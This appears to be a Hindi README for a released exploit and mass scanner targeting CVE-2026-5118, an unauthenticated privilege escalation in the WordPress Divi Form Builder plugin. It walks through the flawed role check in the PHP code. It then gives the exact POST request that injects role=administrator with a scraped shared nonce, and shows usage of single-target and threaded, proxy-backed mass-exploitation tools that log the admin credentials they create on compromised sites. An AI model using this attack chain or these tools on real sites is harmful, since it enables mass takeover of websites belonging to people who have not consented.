
CVE-2026-5118 के लिए स्वचालित एक्सप्लॉइट और मास स्कैनर, WordPress Divi Form Builder <=5.1.2 में बिना प्रमाणीकरण के विशेषाधिकार वृद्धि, भूमिका इंजेक्शन के माध्यम से व्यवस्थापक खाता निर्माण सक्षम करता है।
भूमिका इंजेक्शन के माध्यम से अप्रमाणित विशेषाधिकार वृद्धि
=== Beelze ( zeroday 1diot9 ) ===
| क्षेत्र | विवरण |
|---|---|
| CVE ID | CVE-2026-5118 |
| CVSS स्कोर | 9.8 (क्रिटिकल) |
| CVSS वेक्टर | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-269 — अनुचित विशेषाधिकार प्रबंधन |
| प्लगइन | Divi Form Builder (Divi Engine द्वारा) |
| प्रभावित | सभी संस्करण ≤ 5.1.2 |
| पैच किया गया | 5.1.3 (13 अप्रैल, 2026) |
| प्रकाशित | 20 मई, 2026 |
| शोधकर्ता | 0xd4rk5id3 — EnvoraSec |
| PoC | Beelze ( zeroday 1diot9 ) |
WordPress के लिए Divi Form Builder प्लगइन 5.1.2 तक के सभी संस्करणों में अप्रमाणित विशेषाधिकार वृद्धि के प्रति संवेदनशील है।
FormSubmissionHandler.php के अंदर create_user() फ़ंक्शन उपयोगकर्ता पंजीकरण के दौरान POST डेटा से एक उपयोगकर्ता-नियंत्रित role पैरामीटर स्वीकार करता है बिना इसे फॉर्म के कॉन्फ़िगर किए गए default_user_role सेटिंग के विरुद्ध मान्य किए। एकमात्र "सुरक्षा" sanitize_text_field() है — जो HTML टैग और एन्कोडिंग को हटाता है, लेकिन मान को सुरक्षित भूमिकाओं तक सीमित करने के लिए कुछ नहीं करता — इसके बाद एक अस्तित्व जांच होती है जो केवल यह सत्यापित करती है कि भूमिका WordPress में मौजूद है (और administrator हमेशा मौजूद होता है)।
यह तिहरी विफलता अप्रमाणित हमलावरों को अनुमति देती है:
de_fb_obj जावास्क्रिप्ट ऑब्जेक्ट से ग्लोबल शेयर्ड नॉन्स (fb_nonce) निकालेंform_type को register में ओवरराइड करें — किसी भी फॉर्म को पंजीकरण एंडपॉइंट में बदलेंrole=administrator इंजेक्ट करेंपरिणाम: पूर्ण साइट अधिग्रहण — शून्य प्रमाणीकरण, शून्य उपयोगकर्ता इंटरैक्शन, एक POST अनुरोध।
// includes/shared/handlers/FormSubmissionHandler.php — create_user() ~line 2250
$role = isset($form_data['role'])
? sanitize_text_field($form_data['role']) // ← ONLY strips tags/encoding!
: 'subscriber'; // ← 'administrator' passes CLEAN
sanitize_text_field() मुक्त-पाठ स्वच्छता (XSS रोकथाम) के लिए डिज़ाइन किया गया है। यह सुरक्षित भूमिकाओं की अनुमति सूची के विरुद्ध मान्य नहीं करता। स्ट्रिंग "administrator" में कोई HTML टैग नहीं, कोई विशेष एन्कोडिंग नहीं — यह पूरी तरह से अछूता गुज़रता है।
// ~line 2278
$roles_obj = wp_roles();
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) &&
!isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← fallback ONLY if role doesn't exist
}
यह जांच पूछती है: "क्या यह भूमिका WordPress में मौजूद है?" — और administrator हमेशा मौजूद होता है। यह कभी सही प्रश्न नहीं पूछता: "क्या यह भूमिका सार्वजनिक स्व-पंजीकरण के लिए सुरक्षित है?" एक उचित जांच ['subscriber', 'contributor'] जैसी अनुमति सूची के विरुद्ध मान्यता देगी या फॉर्म की default_user_role सेटिंग को लागू करेगी।
// ~line 2301
$user = new WP_User($user_id);
$user->set_role($role); // ← attacker-controlled role applied directly!
कोई current_user_can('create_users') जांच नहीं। कोई current_user_can('promote_users') जांच नहीं। किसी भी प्रकार की क्षमता सत्यापन नहीं। हमलावर द्वारा आपूर्ति की गई भूमिका सीधे set_role() को पास की जाती है।
// Frontend JS localization
wp_localize_script('de-fb-scripts', 'de_fb_obj', [
'ajax_url' => admin_url('admin-ajax.php'),
'nonce' => wp_create_nonce('security'), // ← SAME nonce on ALL forms, ALL pages
// ...
]);
fb_nonce को wp_create_nonce('security') के माध्यम से बनाया जाता है — एक सामान्य क्रिया स्ट्रिंग जो साइट पर प्रत्येक DFB फॉर्म में साझा की जाती है। कोई भी आगंतुक de_fb_obj जावास्क्रिप्ट ऑब्जेक्ट को पढ़कर इसे पेज स्रोत से निकाल सकता है।
// AJAX handler
$form_type = isset($_POST['form_type']) ? $_POST['form_type'] : '';
if ($form_type === 'register') {
$this->create_user($form_data); // ← triggered by POST override!
}
form_type POST डेटा से पढ़ा जाता है, सर्वर-साइड फॉर्म कॉन्फ़िगरेशन से नहीं। एक हमलावर किसी भी DFB AJAX सबमिशन पर form_type=register भेज सकता है — एक संपर्क फॉर्म, एक उद्धरण अनुरोध, एक समाचार पत्रिका साइनअप — और सर्वर पंजीकरण कोड पथ को निष्पादित करेगा। फॉर्म का मूल उद्देश्य अप्रासंगिक है।
[अप्रमाणित हमलावर]
│
▼
GET /any-page-with-dfb-form/
← HTML स्रोत: de_fb_obj = {"nonce":"abc123def0", ...}
│
▼
de_fb_obj जावास्क्रिप्ट ऑब्जेक्ट से fb_nonce निकालें
│
▼
POST /wp-admin/admin-ajax.php
┌──────────────────────────────────────────────┐
│ action = de_fb_ajax_submit_ajax_handler │
│ fb_nonce = abc123def0 │
│ role = administrator ← इंजेक्ट किया गया │
│ form_type = register ← ओवरराइड किया गया │
│ user_login = attacker_admin │
│ user_pass = AttackerPass123! │
│ user_email = [email protected] │
└──────────────────────────────────────────────┘
│
▼
sanitize_text_field('administrator') → 'administrator' ✓ passes
wp_roles()->roles['administrator'] exists? → YES ✓ passes
$user->set_role('administrator') ✓ no capability check
│
▼
← {"success": true, "data": {"message": "User created"}}
│
▼
POST /wp-login.php
log=attacker_admin & pwd=AttackerPass123!
← 302 → /wp-admin/
│
▼
[पूर्ण व्यवस्थापक पहुंच] 🔥
CVE-2026-5118.py — एकल लक्ष्य शोषणस्वचालित फॉर्म खोज और नॉन्स निष्कर्षण के साथ पूर्ण 5-चरणीय शोषण श्रृंखला।
python3 CVE-2026-5118.py
लक्ष्य URL: https://target.com
उपयोगकर्ता नाम [beelze_admin]:
पासवर्ड [Beelze123!!@#!]:
ईमेल [[email protected]]:
समय समाप्ति (सेकंड) [15]:
SOCKS5 प्रॉक्सी (खाली = कोई नहीं):
शोषण चरण:
Phase 1 ▶ पहुंच क्षमता (HTTPS + HTTP फ़ॉलबैक)
Phase 2 ▶ प्लगइन पहचान (readme.txt संस्करण जांच)
Phase 3 ▶ फॉर्म खोज और नॉन्स निष्कर्षण
├── REST API पेज स्कैन
├── सामान्य पथ जांच
├── साइटमैप क्रॉल
└── होमपेज लिंक क्रॉल
Phase 4 ▶ भूमिका इंजेक्शन (विशेषाधिकार वृद्धि)
Phase 5 ▶ व्यवस्थापक लॉगिन सत्यापन
आउटपुट (scan_results/CVE-2026-5118_success.txt):
https://target.com | beelze_admin:Beelze123!!@#!
CVE-2026-5118-mass.py — सामूहिक स्कैनरJSONL लॉगिंग और पुनः आरंभ समर्थन के साथ थ्रेडेड सामूहिक शोषण।
python3 CVE-2026-5118-mass.py
लक्ष्य फ़ाइल (प्रति पंक्ति एक URL): targets.txt
उपयोगकर्ता नाम [beelze_admin]:
पासवर्ड [Beelze123!!@#!]:
ईमेल [[email protected]]:
थ्रेड [10]:
समय समाप्ति (सेकंड) [10]:
प्रॉक्सी फ़ाइल (SOCKS5, प्रति पंक्ति एक, खाली = कोई नहीं):
पिछला स्कैन पुनः आरंभ करें? (y/n) [n]:
विशेषताएं:
आउटपुट (scan_results/CVE-2026-5118_success.txt):
https://target1.com | beelze_admin:Beelze123!!@#!
https://target2.com | beelze_admin:Beelze123!!@#!
default_user_role सेटिंग में सर्वर-साइड कॉन्फ़िगर की गई हो, POST डेटा से किसी भी उपयोगकर्ता-आपूर्ति role पैरामीटर को अनदेखा करते हुए।Beelze ( zeroday 1diot9 ) — केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए